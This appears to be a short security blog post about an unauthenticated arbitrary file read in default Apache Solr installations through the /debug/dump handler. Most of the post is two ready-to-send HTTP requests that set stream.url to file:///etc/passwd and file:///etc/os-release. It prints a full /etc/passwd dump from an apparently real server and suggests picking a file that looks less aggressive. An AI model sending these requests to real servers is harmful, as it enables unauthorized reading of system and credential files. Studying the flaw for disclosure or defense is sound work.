[No CVE] Apache Solr Arbitrary File Read
Apache Solr Arbitrary File Read
Hit Counter
Apache Solr (stands for Searching On Lucene with Replication) is a free, open-source search engine based on the Apache Lucene library. Written in Java. Apache Solr has RESTful XML/HTTP and JSON APIs and client libraries for many programming languages such as Java, Phyton, Ruby, C#, PHP, and many more being used to build search-based and big data analytics applications for websites, databases, files, etc.
Here is some part of the description on the official page of Apache Solr: A default/example installation of Solr allows any client with access to it to add, update, and delete documents (and of course search/read too), including access to the Solr configuration and schema files and the administrative user interface.
This means; by default, an attacker can construct a malicious HTTP Request to read any file (within the permissions) on the Apache Solr server.
To verify vulnerability, you can use the following request
POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
Host: vulnerablehost:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
stream.url=file:///etc/passwd
HTTP/1.1 200 OK
Content-Type: application/xml; charset=UTF-8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<response>
<lst name="responseHeader">
<int name="status">0</int>
<int name="QTime">0</int>
<str name="handler">org.apache.solr.handler.DumpRequestHandler</str>
<lst name="params">
<str name="param">ContentStreams</str>
<str name="stream.url">file:///etc/passwd</str>
</lst>
</lst>
<lst name="params">
<str name="stream.url">file:///etc/passwd</str>
<str name="echoHandler">true</str>
<str name="param">ContentStreams</str>
<str name="echoParams">explicit</str>
</lst>
<arr name="streams">
<lst>
<null name="name" />
<str name="sourceInfo">url</str>
<null name="size" />
<null name="contentType" />
<str name="stream">root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
cloudera-scm:x:997:995:Cloudera Manager:/var/lib/cloudera-scm-server:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
flume:x:996:993:Flume:/var/lib/flume-ng:/sbin/nologin
hdfs:x:995:992:Hadoop HDFS:/var/lib/hadoop-hdfs:/sbin/nologin
solr:x:994:991:Solr:/var/lib/solr:/bin/bash
#solr:x:994:991:Solr:/var/lib/solr:/sbin/nologin
sentry:x:993:990:Sentry:/var/lib/sentry:/sbin/nologin
hue:x:992:989:Hue:/usr/lib/hue:/sbin/nologin
zookeeper:x:991:988:ZooKeeper:/var/lib/zookeeper:/sbin/nologin
mapred:x:990:987:Hadoop MapReduce:/var/lib/hadoop-mapreduce:/sbin/nologin
httpfs:x:989:986:Hadoop HTTPFS:/var/lib/hadoop-httpfs:/sbin/nologin
sqoop:x:988:985:Sqoop:/var/lib/sqoop:/sbin/nologin
hive:x:987:984:Hive:/var/lib/hive:/sbin/nologin
kafka:x:986:983:Kafka:/var/lib/kafka:/sbin/nologin
kms:x:985:982:Hadoop KMS:/var/lib/hadoop-kms:/sbin/nologin
yarn:x:984:981:Hadoop Yarn:/var/lib/hadoop-yarn:/sbin/nologin
oozie:x:983:980:Oozie User:/var/lib/oozie:/sbin/nologin
kudu:x:982:979:Kudu:/var/lib/kudu:/sbin/nologin
hbase:x:981:978:HBase:/var/lib/hbase:/sbin/nologin
impala:x:980:977:Impala:/var/lib/impala:/sbin/nologin
spark:x:979:976:Spark:/var/lib/spark:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
ckan:x:1000:1000:CKAN User:/usr/lib/ckan:/sbin/nologin
redis:x:978:974:Redis Database Server:/var/lib/redis:/sbin/nologin
tomcat:x:53:53:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
</str>
</lst>
</arr>
<lst name="context">
<str name="webapp">/solr</str>
<str name="path">/debug/dump</str>
<str name="httpMethod">POST</str>
</lst>
</response>
Or basically, you can also choose this file to read (so as not to look aggressive)
POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
Host: vulnerablehost:8983
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close
stream.url=file:///etc/os-release
HTTP/1.1 200 OK
Content-Type: application/xml; charset=UTF-8
Connection: close